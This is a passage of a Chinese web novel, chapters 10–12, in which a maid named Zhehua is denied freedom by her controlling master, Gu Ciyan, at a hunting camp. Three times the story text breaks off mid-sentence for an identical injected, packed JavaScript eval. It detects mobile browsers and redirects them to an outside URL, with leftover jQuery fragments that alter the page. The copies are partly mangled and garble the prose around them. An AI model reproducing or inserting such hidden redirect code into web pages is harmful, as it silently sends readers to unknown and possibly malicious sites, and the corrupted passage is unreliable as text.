折婳冲罗疱人笑了笑,落落大方道:“我来取我的午膳。” “呃,好。”罗疱人反应过来,将折婳的午膳给了折婳。 折婳一身桃红色衣裙,模样出挑,明眸皓齿,一点儿也没有失宠的沮丧和憔悴。罗疱人心说,他若是顾辞宴,是无法忍心冷落折婳的…… 等芳杏拿到了膳食,折婳和芳杏往回走。考虑到折婳受伤的脚,芳杏特意放缓了脚步。 芳杏道:“折婳,你刚才看见没,罗疱人刚才竟然看你看呆了,他在想什么,莫非以为你在世子的面前失宠了,他便能肖想你?” 折婳没留意刚才罗疱人的目光,她笑道:“我刚才没注意,光想着今日能吃什么了。” 芳杏讶异道:“折婳,看不出来你还是小馋猫。” 折婳一脸认真道:“可能是你陪着我,我食欲大增。” 芳杏红了脸,道:“折婳,我怀疑你在调戏我,我觉得你才是秀色可餐。” 折婳看着芳杏红着脸的模样,暂时忘记了这段时间的烦心事,忍不住也弯了弯唇角。 …… “是折婳姑娘?” 折婳和芳杏回到营帐,看见一个面容和善的嬷嬷站在营帐里。看见折婳和芳杏回来,嬷嬷冲折婳笑道。 折婳和芳杏认出来眼前人是瑞王妃身边的夏嬷嬷,折婳和芳杏冲夏嬷嬷福了福身,道:“夏嬷嬷怎么来了?是王妃有什么吩咐?” 夏嬷嬷的视线在折婳的身上转了一圈,笑道:“听说折婳姑娘受伤了,王爷和王妃让我来瞧瞧。” 她和顾辞宴虽然有了肌肤之亲,但是她只是一个丫鬟,折婳知道夏嬷嬷不可能无故来此。她温和道:“多谢王爷和王妃关心,奴婢的脚伤已经快痊愈了。” 夏嬷嬷笑道:“折婳姑娘毕竟是伺候过世子的人,不知道折婳姑娘的家里还有什么人?” 折婳的眼眸里浮现一抹讶异,恭敬道:“父亲和母亲还在世,奴婢还有一个妹妹。” 夏嬷嬷拍了拍折婳的手,道:“折婳姑娘虽然伺候过世子,但是在瑞王府毕竟是下人,比不上和家人在一起,折婳姑娘是否十分思念家人?” 折婳轻声道:“奴婢已经许久没有见过家人了,是十分思念家人。” 夏嬷嬷冲折婳笑道:“王爷和王妃是和善的人,折婳姑娘明日若是有时间,去见见王爷和王妃,折婳姑娘毕竟帮世子解了药,王爷和王妃也不忍心看见折婳姑娘和家人分开。” 虽然瑞王不喜折婳,还有意让折婳离开顾辞宴。但是折婳如今毕竟是伺候了顾辞宴的人,瑞王和瑞王妃不仅要试探顾辞宴的想法,还要试探折婳的想法。 说完这一句,夏嬷嬷不再停留,离开了营帐。 芳杏看着夏嬷嬷离开的芳杏,回不过神来,她道:“夏嬷嬷是来干什么的?王爷和王妃是想放你离开瑞王府,和家人团聚?” 折婳抿了抿唇,她也在揣测刚才夏嬷嬷话里的意思。无疑刚才夏嬷嬷的话,就是瑞王和瑞王妃的意思。 芳杏看着折婳,道:“若是有机会离开瑞王府,折婳,你想离开吗?” 折婳抿唇,谁愿意一直当一个伺候人的丫鬟? 折婳看向芳杏,道:“你也觉得王爷和王妃有意放我离开瑞王府?” 芳杏道:“我觉得刚才夏嬷嬷话里表达的是这个意思。折婳,你明日按照夏嬷嬷说得那样,去见见王爷和王妃不就知道了?” 折婳垂着眼睛,久久没有说话。刚才夏嬷嬷的话让她想明白了一件事。除了顾辞宴,瑞王府里做主的人还有瑞王和瑞王妃。 若是瑞王和瑞王妃同意她离开瑞王府,即使是顾辞宴,也不能再阻止她和家人见面。 折婳的眼睛明亮,心砰砰砰跳着。是马上能见到家人的欢喜。 折婳的心里想着夏嬷嬷的话,一夜没睡安稳。第二日用过早膳,折婳在营帐里等了一会儿,她估摸着瑞王和瑞王妃应该有空闲时间了,她朝瑞王和瑞王妃的营帐走去。 “昨日夏嬷嬷来见我,让我今日来见王爷和王妃。” 折婳站在瑞王和瑞王妃的营帐外,冲守在营帐外的丫鬟道。 “世子也在营帐内,你随我一起进去见王爷,王妃和世子。” 顾辞宴也在瑞王和瑞王妃的营帐内。折婳眨眼,她的心里莫名有个直觉,昨日夏嬷嬷的话里表达的意思若是真如她和芳杏猜测得那般,她与瑞王,瑞王妃谈话时,顾辞宴不能在场…… “等一下……” 身体快过脑子,折婳原本准备进营帐的步子转了方向。然而营帐的帘子被人挑开,顾辞宴从营帐里走了出来。 顾辞宴从营帐走出,一眼便看见了不远处的折婳。女子穿着一件嫣红色的衣裙,没有佩戴太多的首饰,素雅清纯。 在对上他的目光时,女子移开了视线。 若是他刚才没有听错,瑞王和瑞王妃的丫鬟明确告诉折婳,他在营帐内。 她在躲他…… 顾辞宴皱起眉头。 “折婳,你要去哪儿?” 10. 第 10 章 “折婳。” 顾辞宴穿着肃穆的玄色锦袍,站在营帐外,目光落在折婳的身上,俊朗的五官带着凛然的气息。 主子喊她,折婳自然不能视而不见。折婳停下脚步,面向顾辞宴,规规矩矩冲顾辞宴行了一礼。 “见过世子。” 顾辞宴带着些许锐利的眼眸从折婳的身上扫过,将折婳的脸上的神情看在眼里。他将刚才的话重复了一遍,道:“折婳,你要去哪儿?” 折婳微垂着眼帘,恭恭敬敬道:“本来想着来见王爷和王妃,刚才王爷和王妃的丫鬟说世子在营帐内,奴婢不想打扰世子与王爷,王妃,便想着等会儿再来。” 从顾辞宴的角度看过去,能够看见折婳修长白净的脖颈,女子身姿窈窕,天生丽质,微风将她脸颊旁的些许碎发吹起,看起来恬静又美好。 似乎刚才他的那个猜测仅是错觉,她没有躲避他。 “过来。”顾辞宴沉声道。 折婳的眼睫颤了颤,贝齿咬了一下唇瓣。 顾辞宴眼眸微眯,注视着折婳。 折婳沉默地朝顾辞宴的方向走了几步,和每一个听从主子的命令的丫鬟般。 顾辞宴的手落在折婳的肩上,他的目光落在折婳之前受伤的脚上,道:“你的脚痊愈了?” 折婳低眉顺眼,恭敬道:“回世子,脚已经不怎么痛了。” 顾辞宴皱眉,道:“既然没有完全痊愈,乱跑什么?” 折婳道:“奴婢的脚已经能走动了,不需要一直在营帐里休息。” 视线瞥见瑞王和瑞王妃的营帐,折婳顿了顿,又道:“昨日夏嬷嬷去见奴婢,奴婢今日前来,是来见王爷和王妃。” 她今日出现在瑞王和瑞王妃的营帐外,顾辞宴若是没有注意到还好,他已经发现了她,他若是问起,很容易知道夏嬷嬷昨日去见过她之事。 她希望顾辞宴不再接着问下去,放她进去见瑞王和瑞王妃。 可惜折婳今日注定不能如愿了,顾辞宴垂眸看着折婳,语气平淡,他道:“你不必进去了。父王和母妃不会见你了。” 折婳诧异地看向顾辞宴,默了默,还是没忍住道:“为何?” 顾辞宴抬手抚摸折婳绸缎般的青丝,他动作如从前般亲昵,道:“父王和母妃说你之前给我解药,想给你个恩典。” 折婳的脑海里回忆夏嬷嬷昨日的话,她道:“世子是如何对王爷和王妃说的?” 顾辞宴的手落在折婳的青丝上,道:“我帮你拒绝了。” 折婳就这般抬头看着顾辞宴,能够听见自己的心跳声,她的脑海里是昨日夏嬷嬷见她时问她是否思念家人,瑞王和瑞王妃不忍心看见她和家人分开的话。 顾辞宴注意着折婳脸上的神情,道:“你知道父王和母妃给了你什么恩典?” 折婳如实道:“夏嬷嬷昨日去见奴婢,没有说要给奴婢什么恩典。” 昨日夏嬷嬷去见她,虽然提到了她的家人,话语里对她有许多暗示,但是夏嬷嬷没有告诉她,瑞王和瑞王妃今日会给她什么恩典。 顾辞宴直起身子,视线从折婳的脸上扫过,道:“我还以为是你主动找到父王和母妃,想让父王和母妃帮你恢复自由身,与你家人团聚……” 脑海里浮现之前顾辞宴因为看见她给家人写的信生气的模样,折婳在顾辞宴的脚边跪了下去,道:“奴婢没有主动找过王爷和王妃,昨日若不是夏嬷嬷去见奴婢,奴婢今日不会想着来见王爷和王妃。” 折婳的膝盖刚刚碰到地面,顾辞宴的手落在折婳的手臂上,将折婳给拉了起来,道:“我知道你没有主动找父王和母妃,你也没胆子瞒着我,让父王和母妃帮你恢复自由身。” 折婳的脚伤本来就没有完全痊愈,因为刚刚的动作,她的脚上的疼痛加重了。折婳道:“所以世子拒绝了王爷和王妃准备恢复奴婢自由身的恩典?” 瑞王和瑞王妃若是帮她恢复自由身,她自然是不需要再做顾辞宴的丫鬟了。她若是想要找到失散的家人,不必再因为顾辞宴处处受限制。 顾辞宴的手还握着折婳的手臂,让折婳的身子靠着他,他道:“你是我的丫鬟,即使要给你恩典,也应该由我来做。我已经和父王和母妃说了,你的事情以后由我来做主。” 帮折婳解除奴籍不难,他一句话的事情。他也能帮折婳恢复自由身。 折婳之前因为早就抛弃了她的家人违逆他,即使要给折婳解除奴籍,也不是现在。 她的事情以后瑞王和瑞王妃都无法做主?以后她的一切都掌握在顾辞宴的手里?折婳的脚伤更疼了,她长密的眼睫垂下,心中悲凉。 又一次顾辞宴轻轻松松就决定了她的命运,让她连反应的时间都没有。 顾辞宴的手落在折婳的下巴上,迫使折婳抬起头来,他注视着折婳,道:“你还想着你那贪财的家人,不惜离开瑞王府,也要寻到他们?怨恨我帮你拒绝了父王和母妃的恩典?” 折婳的脑海里浮现顾辞宴之前因为季元恒和她家人的信生气的模样,她那个时候还差点儿连累了无辜的季元恒和芳杏,以及芳杏劝她莫再惹怒顾辞宴,顺着顾辞宴的话。 “奴婢不敢。当初是世子救下奴婢,奴婢的一切本来就属于世子。”折婳垂下眼眸,她回忆顾辞宴从前喜欢看她笑的模样,努力想露出一个笑,可惜努力了一会儿,唇角仍然只有小小的弧度。 听见折婳的话,顾辞宴满意了。 折婳刚才怎么可能是想躲避他?她对她那贪财的家人太心软了,因为生养之恩,即使她的家人曾经将她卖掉,她还是心心念念着贪婪的家人。 季元恒看起来和善有礼,折婳很容易被他的表象迷惑。 之前折婳还通过小厮,几次在他的面前提起她。她既然担心他还记着之前的事情,更应该自己来见他。 “既然你的脚伤已经无大碍了,回我的身边伺候。”顾辞宴松开折婳,轻轻摸了摸折婳的脑袋,如从前那般。 眼见顾辞宴示意她随他离开。折婳的视线落在瑞王和瑞王妃的营帐上,难得瑞王和瑞王妃想给她恩典,她还想争取一下,她轻声道:“昨日王爷和王妃让夏嬷嬷去见奴婢,让奴婢今日来见他们,奴婢觉得还是应该……” 瑞王和瑞王妃有让她恢复自由身的想法,她若是在瑞王和瑞王妃的面前再争取一下,是不是有机会说服瑞王和瑞王妃…… 顾辞宴却已经失了耐性,声音漠然,他道:“我已经和父王,母妃说过了。父王和母妃若是还有什么想法,会告诉我。” 折婳的目光移向营帐外瑞王和瑞王妃的丫鬟,丫鬟之前本来准备让她去见瑞王和瑞王妃。 丫鬟低下头,避开了折婳的视线,她刚才听见了折婳和顾辞宴的对话,还进去见了瑞王和瑞王妃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181496|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞王和瑞王妃今日不可能见折婳了。 折婳的眼睫颤了颤,仿佛她走在一条黑漆漆的道路上,前方突然出现些许亮光,不等她回过神来,那亮光已经被顾辞宴强势地熄灭。 “怎么哭了?” 顾辞宴的声音在她的头顶响起。 折婳抬起手,摸了摸脸颊,才发现她情不自禁地落下泪来。 “哭什么?”顾辞宴皱眉,抬手擦折婳脸上的泪水。 折婳找了个理由,道:“可,可能是脚的伤势严重了。” 顾辞宴弯下身,将折婳给抱了起来,他声音不悦道:“你刚才不是说脚伤已经无碍了?怎么脚伤反而严重了?” 顾辞宴的动作突然,折婳慌乱地揪住顾辞宴的衣袖,本能地抗拒,道:“世子,不可。放我下来。” 顾辞宴抱着折婳朝他的营帐走去,板着脸道:“若是放你下来,你的脚伤岂不是会更加严重?” 顾辞宴的身份特殊,关注着他的很多,难得看见他纡尊降贵,如此亲昵地对待一个女子。此时他和折婳身处瑞王和瑞王妃的营帐,除了瑞王府的人,还有别的府上的人朝折婳和顾辞宴这边看过来。 她不是顾辞宴的正妻,连通房都不是。 感觉有视线落在她的身上,折婳低下头,将脑袋埋在顾辞宴的衣裳上,似乎这样就不会让别人看见她的狼狈。 别人就不会知晓她是谁。 感受着折婳窈窕的身子紧紧贴着他,顾辞宴勾了勾唇角。 这是害羞了? 顾辞宴抱着折婳,回了他的营帐。 顾辞宴将折婳放到床榻上,伸手去碰折婳受伤的脚。 折婳低下头,缩了缩双脚,她道:“奴婢的脚伤不严重,休息一会儿就没事了。” 顾辞宴道:“莫动。” 顾辞宴让人去请大夫来。大夫本来以为是顾辞宴受伤了,慌慌忙忙就来了。等到了顾辞宴的营帐,才知道是顾辞宴身边的丫鬟受伤了。 “给她看脚伤。她的脚伤本来快痊愈了,为何又加重了?”顾辞宴指着折婳,冲大夫道。 虽然一个丫鬟的脚受伤了,完全没有必要兴师动众请大夫。但是顾辞宴开口了,他还是上前查看折婳的脚。 大夫道:“折婳姑娘应该是今日走动太多,加重了脚上的伤势。” 等大夫离开后,顾辞宴让小丫鬟重新给折婳的脚上药。 折婳低着头,道:“今日劳烦世子给奴婢请大夫,奴婢受之有愧。” 她一个丫鬟,自然没有让大夫给她看诊的资格。他刚才让大夫给她看诊的样子,仿佛之前那个断了她恢复自由身的希望的人不是他。 顾辞宴的身边不缺丫鬟,他若是仅仅想让她快些回他的身边伺候给她请大夫,有必要吗? 营帐外响起小厮的声音,道:“季世子来了。” 折婳脑海里回忆顾辞宴之前因为季元恒给她送药膏生气的模样,她连忙抬头朝营帐门口看去,身体紧绷。 她不想再因为她的事情连累季元恒。 折婳的反应,顾辞宴却误会了。他按住折婳的身子,不许她再动,话里带着些安抚,道:“放心,我不会将你送给季元恒。” 他不松口,谁敢动她?他之前是吓唬她的,她看不出来? 说完,顾辞宴冲外面瑞王府的下人道:“让季世子进来。” 11. 第 11 章 听见顾辞宴的话,折婳欲挣脱开顾辞宴的手,道:“世子和季世子有事商量,奴婢还是先退出去。” 顾辞宴按住折婳的身子,不允许折婳乱动,他道:“我有允许你出去?我刚刚是不是对你说过,让你别乱动?还是你想故意加重脚的伤势?” 顾辞宴在折婳的腰上轻轻拍了一下,道:“莫动了。” 二人说话时,季元恒已经被瑞王府的下人给请了进来。 季元恒一身竹青色绣花圆领袍,身形颀长,眉目俊秀,毕竟是霄北王府世子,身上带着仿佛与生俱来的尊贵气质。相较于看起来锋芒毕露的顾辞宴,季元恒看上去要温润许多。 顾辞宴的手还按在折婳的肩膀上,折婳此时还坐在顾辞宴的床榻上,二人离得很近,任谁都能看出来二人间的暧昧气氛。 季元恒朝顾辞宴落在折婳肩膀上的手看了一眼,目光落在顾辞宴的身上,道:“辞宴。” 顾辞宴看向季元恒,语气温和,道:“来见我有事?” 季元恒语气里透着和顾辞宴的熟稔,他勾起唇角,笑道:“听说你昨日猎到的猎物里有野鸡,嘴馋了,想向你讨要一只。” 季元恒为人低调,像之前顾辞宴和折婳碰到的那些男子说得般,他来到围场后很少进林子。 顾辞宴道:“我让瑞王府的小厮给你。” 说完,顾辞宴见季元恒的视线还落在他和折婳的身上,道:“还有事?” 季元恒的目光落在折婳的身上,道:“是还有几句话想问折婳姑娘。之前我碰见折婳姑娘的脚受伤,派人给折婳姑娘送去了药膏,不知道折婳姑娘的脚伤如何了?” 季元恒的这句话说完,折婳便感觉到顾辞宴的目光也落在了她的身上,他的眸光带着些凉意。 那日折婳和顾辞宴发生的事情,除了在场的芳杏,其他人不知道当时折婳和顾辞宴在营帐里究竟发生了什么。瑞王和瑞王妃也只知道顾辞宴从折婳的营帐出来时,顾辞宴的脸色不佳。 季元恒更加不可能知道折婳和顾辞宴之间发生了什么。 季元恒之前赠送她药膏,本来是一片好心。折婳觉得季元恒此时问这话没有恶意。 折婳垂着眼帘,恭敬道:“多谢季世子关心,只是季世子派人送去的那瓶药膏不小心打碎了,辜负了季世子的一片好意。奴婢的脚已经好多了。” 顾辞宴还在场,折婳没胆子说季元恒派人送去的那瓶药膏被顾辞宴故意打碎了。她将打碎药膏的锅自觉地背在自己的身上。 季元恒道:“药膏打碎了,是否需要我再赠送给你一瓶。” “不必了,我刚才让大夫给她的脚伤查看过了,她若是需要药膏,我会拿给她。” 说话时,顾辞宴偏头,冷冷地睨着折婳。 折婳抿唇,规规矩矩道:“我们世子刚才确实让大夫给奴婢看诊了,便不劳烦季世子了。” 季元恒温和道:“既然是这样,我便不多此一举了。” 说完了这句话,季元恒仍然没有离开的意思。他微微皱眉,似乎在思忖着什么。 季元恒的视线落在顾辞宴的身上,道:“有些话不知道是否合适,我和折婳姑娘虽然仅有几面之缘,但是我第一次看见折婳姑娘,便有一种熟悉之感。” “折婳姑娘的眼睛和家妹筱书的眼睛生得极像,我不由得多关注了折婳姑娘几分,若是有冒犯之处,希望折婳姑娘和辞宴莫和我计较。” 季元恒口里‘筱书’是他的同胞妹妹季筱书,霄北王府的常安郡主。 折婳听见季元恒的话,眼眸里浮现一抹讶异。季筱书是霄北王府金尊玉贵的郡主,天之骄女,她没有想到她有一日会和她有关系。 很快她意识到季元恒突然说这话,是在向她和顾辞宴解释他对她的关注原因。 虽然芳杏曾经夸赞过季元恒的人品,但是她不觉得她和季元恒仅有几面之缘,便能让身为霄北王府世子的季元恒对她一个丫鬟关照…… 折婳垂眸,不过季元恒确实比许多贵公子要体贴和观察入微。季元恒应该看出来顾辞宴对此事的介怀,所以此时才故意说这样几句话,也是在顾辞宴的面前帮她解释,将他留意她的原因揽到自己的身上。 等季元恒离开后,顾辞宴转头,冷冷地睨着折婳,道:“你刚才听见了,你不过是和他的妹妹生得有几分相似,季元恒才多看了你几眼。” 季元恒刚才的那几句话是故意说给她和顾辞宴听的,折婳怎么可能没有听见? 季元恒刚才说得明明白白,他之前给她送药膏,不过是因为他待在京城,看见她想起了他远在霄北的妹妹。折婳不知道顾辞宴为何还要将刚才季元恒的话重复一遍。 不过顾辞宴是主子,折婳还是恭敬应了一声,道:“奴婢听见了。” 顾辞宴注视着折婳,女人低眉顺眼,他从她的脸上看不见不悦。明明是他想要的温顺模样,顾辞宴听见折婳的话,心中却没有感到熨帖。 顾辞宴的目光落在折婳的身上,道:“你就没有其他的话想说?” 折婳抬眸看了顾辞宴一眼,她回忆她和顾辞宴刚才的谈话,想了想,道:“能有几分和常安郡主相似,是奴婢的福气。” 顾辞宴冷声道:“你觉得你和常安生得相似十分幸运,觉得能凭此获得季元恒的关注?” 顾辞宴的目光落在折婳的身上,他道:“刚才你听见季元恒来了,你便要退下。我是主子,我没让你退下,你便应该乖乖待着别动。还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181497|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之前对我撒谎了,你对季元恒有什么别的心思?你的脚不想要了?” 顾辞宴道:“你要心里有数,常安郡主是季元恒唯一的妹妹,亦是霄北王府的郡主,不是你一个丫鬟能比的。” 顾辞宴和季元恒相识多年,他知道季元恒刚才既然能说那些话,便不可能对他撒谎。 但是鉴于折婳之前因为季元恒给她送药就违逆他的行为,他觉得有必要敲打折婳。 她是他的丫鬟,不能因为别人的一点儿小恩小惠,便起违逆他的心思。 季元恒的一瓶药膏,便能让她忤逆他。 她又不是故意让她的脚受伤,怎么可能会不想让自己的脚伤快些痊愈? 之前季元恒仅仅是给她赠送了一瓶药膏,顾辞宴便那么大的反应。虽然她不认为季元恒来见顾辞宴是为了她,但是她不想再发生那样的事情。她本来不想打扰季元恒和顾辞宴谈事情。 她本来是不想再发生之前的事情,才想避开季元恒,她没有想到顾辞宴为何还是会如此猜想她和季元恒。 她和季元恒不熟,季元恒是霄北王府世子,她能对季世子有什么别的心思? 折婳觉得似乎她如何做,顾辞宴都不满意。 她的容貌是她的父母赐给她的,她没有见过常安郡主,不知道常安郡主生得是何模样,更不知道她和常安郡主是否生得相似。刚才季元恒说得是她的眼睛和常安郡主的眼睛生得相似。 难道顾辞宴觉得她是故意生得和常安郡主相似? 明明季元恒刚才故意说这几句话,便是在解释季元恒之所以留意她,仅仅是因为她和他妹妹有一双相似的眼睛。 季元恒对她本人没有任何在意。 之前她该说的,已经对顾辞宴说了。顾辞宴却还是要用恶意揣测她。 折婳听芳杏提起过,因为季元恒待在京城的缘故,常安郡主经常会来京城见季元恒,兄妹感情极好。 而且因为季元恒和顾辞宴熟识,顾辞宴和常安郡主也不生疏,甚至顾辞宴待常安郡主,比其她女子要和善许多。 她知道自己和顾辞宴,常安郡主身份不同,顾辞宴和常安郡主不是她高攀起的。又或者在顾辞宴的心里,仅仅她和常安郡主的名字不配放在一起提起…… 她刚刚说‘能有几分和常安郡主相似,是她的福气’,不是说她的心里真的自轻自己。 顾辞宴想让她说什么?无论他如何贬低她,她都要无条件地顺着他的话说? 折婳站起身,道:“若是世子无事,奴婢便退下了。” 胆子真是越来越大了,又开始违抗他的吩咐了。 见折婳又要乱动,顾辞宴按住折婳的身子,冷声道:“我说,让你退下了吗?” 12. 第 12 章 折婳被顾辞宴按在床榻上,顾辞宴的身子比她高大许多,她的力气不及顾辞宴,折婳坐回了床榻。 顾辞宴的目光落在折婳受伤的脚上,道:“没有我的吩咐,不许自作主张。你不是要回我的身边伺候?不必回下人的营帐了,留在我的营帐。” 折婳来到围场后,便一直在偷懒没来他的身边伺候。 折婳就在他的眼前,是必须完全服从他的人。 折婳一怔,讶异地看了顾辞宴一眼。 折婳道:“世子,这不合规矩。奴婢不能留在世子的营帐里过夜。” 折婳的脑海里浮现之前她和顾辞宴耳鬓厮磨,水乳交融的画面。顾辞宴精壮有力,他和她的第一次时,顾辞宴被药控制,她更是吃不消,面对他的攻城略地,她似枝头颤巍巍的花。 她知道顾辞宴的后院暂时没有妾室,难道是他之前食髓知味,将她留在营帐里想…… 听见折婳拒绝他的话,顾辞宴冷着脸道:“为何不行?你这几天歇在我的营帐,就当是给我守夜。” 说着顾辞宴指了指不远处的一张比较窄的罗汉床,道:“别违抗命令,你又不是没有给我守夜过。” 大户人家,夜里下人会给主子守夜。不过顾辞宴来到围场后,守夜的人都是小厮,没有丫鬟给顾辞宴守夜。 “你曾经说要对我忠诚,身为我的丫鬟,莫非如今连守夜都不愿意了?”顾辞宴道。 听见顾辞宴的话,折婳想起了一件往事。 当初她初成为顾辞宴的贴身丫鬟,运气不好,她在陪顾辞宴外出时遇见了刺客。 顾辞宴虽然身份尊贵,但是看不惯他的人亦有许多。而且瑞王仗着是皇帝胞弟的身份,平日里在朝堂上得罪了许多人,那些人有时候奈何不了瑞王,便会报复在顾辞宴的身上。 瑞王专门请了人教顾辞宴武艺,顾辞宴学武多年,那次刺客本来应该奈何不了顾辞宴。可是那个时候顾辞宴的身边跟着不会武功的她。 她只是一个丫鬟,刺客没将她放眼里,瑞王府的护卫也不会专门保护她。顾辞宴和刺客搏斗时,刺客手里的刀差点儿落在她的身上时,顾辞宴又救了她。 因为她,顾辞宴受伤了。刺客在刀上抹了毒。 那个时候她和顾辞宴躲在一间破庙里,等待瑞王府的护卫寻人来。顾辞宴因为中毒,差点儿陷入昏迷。 她六神无主,眼泪落在顾辞宴的身上。 顾辞宴忍着身上的疼痛,对她十分嫌弃,道:“父王从前重伤时,母妃也没有像你哭得这么难过。” 折婳反驳道:“那不一样的,世子是奴婢的主子。” 顾辞宴道:“是不一样,我是你的主子,所以你以后要更加效忠我。” 那个时候顾辞宴对她耳提面令,让她发誓她以后必须对他忠诚,不可背叛他。 后来回到瑞王府,折婳守了顾辞宴几夜,顾辞宴才完全脱离危险。 其他人只知道是刺客伤了顾辞宴,瑞王不知道顾辞宴的受伤与她有关,不然以瑞王对她的厌恶。她现在根本不可能还待在瑞王府。 回忆之前的事情,折婳眸光恍惚了一瞬,片刻她垂下了眼眸。 顾辞宴救她,必须要得到她的回报。 顾辞宴是她的主子,他要的不仅是她的忠诚,她不能有任何自己的情感,只能完全服从他。 顾辞宴看着折婳,道:“你不想睡罗汉床,难道是想霸占我的床榻?” 哪里有折婳这样的丫鬟?她现在不仅偷懒,还违抗他的命令…… 折婳道:“奴婢没有这样的想法。” 之前明明是顾辞宴强硬地将她抱回了他的营帐,将她放在了他的床榻上。 顾辞宴不是要拉着她做那种事,折婳松了一口气,相较于顾辞宴让她睡罗汉床守夜,看起来更能让人接受了。 “奴婢脚伤未痊愈,世子让奴婢守夜,奴婢怕是无法好好地伺候世子,可能会有伺候不好的地方。”折婳道。 顾辞宴破坏了瑞王和瑞王妃给她的恩典,先前顾辞宴还扣了她的月钱,她这个月是白干活。折婳内心还是希望顾辞宴打消让她给他守夜的想法。 顾辞宴的手落在折婳的脑袋上,抚了抚折婳的乌黑的青丝,他道:“你若是伺候不好,我不怪你。” 她没有了月钱还得伺候顾辞宴,在顾辞宴看来,这还是他对她的恩赐。折婳的脚伤没有痊愈,刚刚抹了药,疼痛缓解,这会儿折婳觉得脚伤又感到疼了,她的眼睛里弥漫着一层水雾,带着几分委屈。 “你想不想去林子里逛逛?散散心?”顾辞宴注视着折婳,道。 他觉得折婳总是呆在营帐里,才会喜欢胡思乱想。她之前还想到了她那贪财的家人。 折婳道:“奴婢不想。” 上次顾辞宴带她去林子里玩乐,结果他们遇见了季元恒。本来她是想和芳杏在围场逛逛,最后那日她和顾辞宴没有猎猎物,顾辞宴只顾着‘欺负’她。 顾辞宴道:“为何不想?到时候让季元恒和我们一起去,你也不想去?” 折婳根本不了解季元恒,等她和季元恒接触了,她就会知道季元恒根本不是她想象里的样子。 明明她和季元恒仅仅有几面之缘,之前季元恒对她送药膏,他也明确说了是因为他想起了他的妹妹。折婳本以为关于季元恒,刚才她和顾辞宴已经说得够多了。此时顾辞宴为何还要故意提起季元恒。 折婳低着头,规规矩矩道:“奴婢不会骑射,脚伤又未痊愈,不敢拖世子和季世子的后腿。” 因为之前季元恒给她送药膏的事情,顾辞宴耿耿于怀这么久,若是按照顾辞宴说得,她,顾辞宴和季元恒去林子狩猎,折婳不确定顾辞宴又会干什么。 之前不允许她和季元恒接触的那个人也是他。 顾辞宴道:“你不会骑射,我能教你。” 说完,顾辞宴的视线落在折婳受伤的脚上,他道:“你的脚还需要几日才能痊愈?” 折婳如实道:“先前大夫说奴婢的脚伤是活动太多,才加重了伤势。若是好好养着,奴婢的脚伤会痊愈得快些。” 刚刚顾辞宴让她给他守夜,折婳自然没有好好养着的机会。 折婳避开了顾辞宴的手,道:“世子若是想让人守夜和骑射,还是寻别的丫鬟。” 折婳话里的意思,顾辞宴也听出来了。他喜欢折婳将她的想法如实告诉他,但是不代表他愿意折婳一而再再而三违抗他的吩咐。 她的胆子是大了,他是她的主子这件事实,她却不能忽视。 顾辞宴道:“你今日先回你的营帐。等你的脚伤痊愈,必须立刻回我的身边伺候。” 丫鬟必须时刻听从主子的吩咐,折婳也不能例外。 前几日他已经给了折婳足够的‘偷懒’时间。 正好这时瑞王府下人的声音在外面响起,有官员请过去。 “世子,罗大人请您过去一趟。” 顾辞宴站起身,冲折婳道:“让芳杏来扶你回去,不许偷懒,养好脚伤回来伺候。” 营帐的帘子被顾辞宴掀起,又落了下来。顾辞宴抬脚走了出去。 丫鬟的一切不属于自己,即使她受伤也要听从顾辞宴的吩咐。 只要她还是顾辞宴的丫鬟,她的一切就还掌控在顾辞宴的手里。 折婳不知道芳杏什么时候来见她,她活动了一下受伤的脚,扶着椅子,站了起来。 “严小姐,世子被罗大人请过去了。折婳姑娘在营帐里,您在营帐里等世子一会儿。”瑞王府小厮的说话声响起。 帘子被人从外面挑开,一身石榴红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181498|165299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色衣裙的严韵茵走了进来。她面容姣好,端庄雍容,举止不凡,显然出身极好。 严韵茵虽然听说顾辞宴的身边有一个得宠的丫鬟,这却是她第一次和折婳面对面。她打量的目光落在折婳的身上。 然后折婳发现严韵茵的目光在她的身上落了一会儿后,她的眼神有些怪异。 “你就是顾世子身边的折婳?”严韵茵站在折婳的面前,笑说道。 严韵茵虽然是第一次和折婳面对面,但是之前钟岚欢被送回京城的那日,芳杏曾经向折婳介绍过严韵茵的身份。 折婳朝严韵茵的方向行了一礼,道:“见过严小姐。” 严韵茵耐人寻味地看着折婳,道:“我曾经不明白顾世子为何会突然看重一个丫鬟,看见你的脸,我好像有些明白了。” 无论是她随顾辞宴回到瑞王府后,还是当初她在杨府,折婳都听见过别人夸赞她的容貌。尤其是她被顾辞宴看重后,有下人还说她是靠脸引诱了顾辞宴。 